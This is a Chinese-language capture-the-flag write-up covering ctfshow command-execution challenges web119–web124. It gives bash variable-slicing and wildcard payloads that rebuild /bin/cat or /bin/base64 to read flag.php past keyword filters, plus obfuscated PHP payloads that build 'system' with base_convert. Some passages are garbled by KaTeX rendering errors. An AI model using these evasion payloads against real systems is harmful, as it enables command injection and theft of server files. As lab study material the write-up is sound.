${USER} www-data
${HOME} 当前用户的主目录
字符Bash描述0 Z 、 {Z}、 Z、{#}可以用字符代替1KaTeX parse error: Expected }, got # at position 2: {#̲SHLVL}、{##}、${#?}表格下面的代码段1先A;在然后的$?就是1web入门1222${PHP_VERSION:~A}本题php的版本是7.3.223{#IFS}linux下是3mac里是44/5${#RANDOM}linux下返回的值大多数是4和5a${USER:~A}www-data最后一位vKaTeX parse error: Expected }, got EOF at end of input: {PWD:{##}{##}}${PWD}第二位tKaTeX parse error: Expected }, got EOF at end of input: {USER:~{#SHLVL}{#SHLVL}}~1 从倒数第二个开始取取一个tKaTeX parse error: Expected }, got EOF at end of input: {HOME:{#HOSTNAME}{#SHLVL}}/KaTeX parse error: Expected }, got EOF at end of input: {PWD::{#SHLVL}}/var/www/html取第一位/KaTeX parse error: Expected }, got EOF at end of input: {PWD:{Z}{#SHLVL}}/var/www/html取第一位
SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}1然后在此shell中再打开一个shell时$SHLVL2。RANDOM
此变量值随机出现整数范围为0-32767。在Linux中${#xxx}显示的是这个值的位数不加#是变量的值加了#是变量的值的长度。例如${#12345}的值是5而random函数绝大部分产生的数字都是4位或者5位的因此${#RANDOM}可以代替4或者5。IFS
空格符、tab字符、换行字符(newline) 长度为3。{#IFS}3payload
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???就是/???/?a? ????.???就是/bin/cat flag.php${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???就是/???/??t ????.???就是/bin/cat flag.php${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???就是/???/?????4 ????.???就是/bin/base64 flag.phpCtfshow 命令执行 web120
这次直接给了源码过滤同web119但是长度限制在64及以内。
web119第一个payload直接打。
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???就是/???/?a? ????.???就是/bin/cat flag.phpCtfshow 命令执行 web121
直接给了源码不过这次过滤的有点多。 就web119三个payload来看。HOME、USER、SHLVL。被过滤了前两个影响不大不用也没事。过滤${#SHLVL}可以用${##}、${#?}。
payload
${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???就是/???/??v ????.???就是/bin/rev flag.php${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???就是/???/?????4 ????.???就是/bin/base64 flag.phpCtfshow 命令执行 web122
hint:fuzz
直接给了源码这次过滤了PWD、#之前所有payload都用不了。 我们选择使用base64来获取flag。/bin/base64 flag.php目标是构造构造/???/?????4 ????.???
过滤了PWD我们还能用HOME。无论HOME是什么比如/xxx/xxxHOME的第一位肯定是/。
然后我们只需要解决一个如何构造数字的问题。我们需要数字1和4。
我们可以利用$?获取上一条命令执行结束后的返回值0代表成功非0代表失败。非0返回值如下
OS error code 1: Operation not permitted
OS error code 2: No such file or directory
OS error code 3: No such process
OS error code 4: Interrupted system call
OS error code 5: Input/output error
OS error code 6: No such device or address
OS error code 7: Argument list too long
OS error code 8: Exec format error
OS error code 9: Bad file descriptor
OS error code 10: No child processes
OS error code 11: Resource temporarily unavailable
OS error code 12: Cannot allocate memory
OS error code 13: Permission denied
OS error code 14: Bad address
OS error code 15: Block device required
OS error code 16: Device or resource busy
OS error code 17: File exists
OS error code 18: Invalid cross-device link
OS error code 19: No such device
OS error code 20: Not a directory
OS error code 21: Is a directory
OS error code 22: Invalid argument
OS error code 23: Too many open files in system
OS error code 24: Too many open files
OS error code 25: Inappropriate ioctl for device
OS error code 26: Text file busy
OS error code 27: File too large
OS error code 28: No space left on device
OS error code 29: Illegal seek
OS error code 30: Read-only file system
OS error code 31: Too many links
OS error code 32: Broken pipe
OS error code 33: Numerical argument out of domain
OS error code 34: Numerical result out of range
OS error code 35: Resource deadlock avoided
OS error code 36: File name too long
OS error code 37: No locks available
OS error code 38: Function not implemented
OS error code 39: Directory not empty
OS error code 40: Too many levels of symbolic links
OS error code 42: No message of desired type
OS error code 43: Identifier removed
OS error code 44: Channel number out of range
OS error code 45: Level 2 not synchronized
OS error code 46: Level 3 halted
OS error code 47: Level 3 reset
OS error code 48: Link number out of range
OS error code 49: Protocol driver not attached
OS error code 50: No CSI structure available
OS error code 51: Level 2 halted
OS error code 52: Invalid exchange
OS error code 53: Invalid request descriptor
OS error code 54: Exchange full
OS error code 55: No anode
OS error code 56: Invalid request code
OS error code 57: Invalid slot
OS error code 59: Bad font file format
OS error code 60: Device not a stream
OS error code 61: No data available
OS error code 62: Timer expired
OS error code 63: Out of streams resources
OS error code 64: Machine is not on the network
OS error code 65: Package not installed
OS error code 66: Object is remote
OS error code 67: Link has been severed
OS error code 68: Advertise error
OS error code 69: Srmount error
OS error code 70: Communication error on send
OS error code 71: Protocol error
OS error code 72: Multihop attempted
OS error code 73: RFS specific error
OS error code 74: Bad message
OS error code 75: Value too large for defined data type
OS error code 76: Name not unique on network
OS error code 77: File descriptor in bad state
OS error code 78: Remote address changed
OS error code 79: Can not access a needed shared library
OS error code 80: Accessing a corrupted shared library
OS error code 81: .lib section in a.out corrupted
OS error code 82: Attempting to link in too many shared libraries
OS error code 83: Cannot exec a shared library directly
OS error code 84: Invalid or incomplete multibyte or wide character
OS error code 85: Interrupted system call should be restarted
OS error code 86: Streams pipe error
OS error code 87: Too many users
OS error code 88: Socket operation on non-socket
OS error code 89: Destination address required
OS error code 90: Message too long
OS error code 91: Protocol wrong type for socket
OS error code 92: Protocol not available
OS error code 93: Protocol not supported
OS error code 94: Socket type not supported
OS error code 95: Operation not supported
OS error code 96: Protocol family not supported
OS error code 97: Address family not supported by protocol
OS error code 98: Address already in use
OS error code 99: Cannot assign requested address
OS error code 100: Network is down
OS error code 101: Network is unreachable
OS error code 102: Network dropped connection on reset
OS error code 103: Software caused connection abort
OS error code 104: Connection reset by peer
OS error code 105: No buffer space available
OS error code 106: Transport endpoint is already connected
OS error code 107: Transport endpoint is not connected
OS error code 108: Cannot send after transport endpoint shutdown
OS error code 109: Too many references: cannot splice
OS error code 110: Connection timed out
OS error code 111: Connection refused
OS error code 112: Host is down
OS error code 113: No route to host
OS error code 114: Operation already in progress
OS error code 115: Operation now in progress
OS error code 116: Stale NFS file handle
OS error code 117: Structure needs cleaning
OS error code 118: Not a XENIX named type file
OS error code 119: No XENIX semaphores available
OS error code 120: Is a named type file
OS error code 121: Remote I/O error
OS error code 122: Disk quota exceeded
OS error code 123: No medium found
OS error code 124: Wrong medium type
OS error code 125: Operation canceled
OS error code 126: Required key not available
OS error code 127: Key has expired
OS error code 128: Key has been revoked
OS error code 129: Key was rejected by service
OS error code 130: Owner died
OS error code 131: State not recoverable
MySQL error code 132: Old database file
MySQL error code 133: No record read before update
MySQL error code 134: Record was already deleted (or record file crashed)
MySQL error code 135: No more room in record file
MySQL error code 136: No more room in index file
MySQL error code 137: No more records (read after end of file)
MySQL error code 138: Unsupported extension used for table
MySQL error code 139: Too big row
MySQL error code 140: Wrong create options
MySQL error code 141: Duplicate unique key or constraint on write or update
MySQL error code 142: Unknown character set used
MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table
MySQL error code 144: Table is crashed and last repair failed
MySQL error code 145: Table was marked as crashed and should be repaired
MySQL error code 146: Lock timed out; Retry transaction
MySQL error code 147: Lock table is full; Restart program with a larger locktable
MySQL error code 148: Updates are not allowed under a read only transactions
MySQL error code 149: Lock deadlock; Retry transaction
MySQL error code 150: Foreign key constraint is incorrectly formed
MySQL error code 151: Cannot add a child row
MySQL error code 152: Cannot delete a parent row执行A等命令会因找不到目录或者文件执行失败返回值是1$?获取上一条命令执行结束后的返回值就是1。我们就成功构造出了数字1。 总结一下先A;在然后的$?就是1
数字4还是用RANDOM随机数来获取不过是换种方式1/10的概率多发几次包。
payload${Z}代表0
codeA;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???codeA;${HOME:${Z}:$?}???${HOME:${Z}:$?}?????${RANDOM::$?} ????.???Ctfshow 命令执行 web124
直接给了源码。是前几年国赛的一道题。但是这题flag就在当前目录。 详细wp请看
payload合集
?c$pibase_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})pisystemabscat flag.php?c($pibase_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))?cbase_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))?c$pi(is_nan^(6).(4)).(tan^(1).(5));$pi$$pi;$pi{0}($pi{1})0system1cat%20flag.php$pibase_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//要在请求头里面加一个 1:tac flag.php 见下图命令执行篇完结收工2023.8.20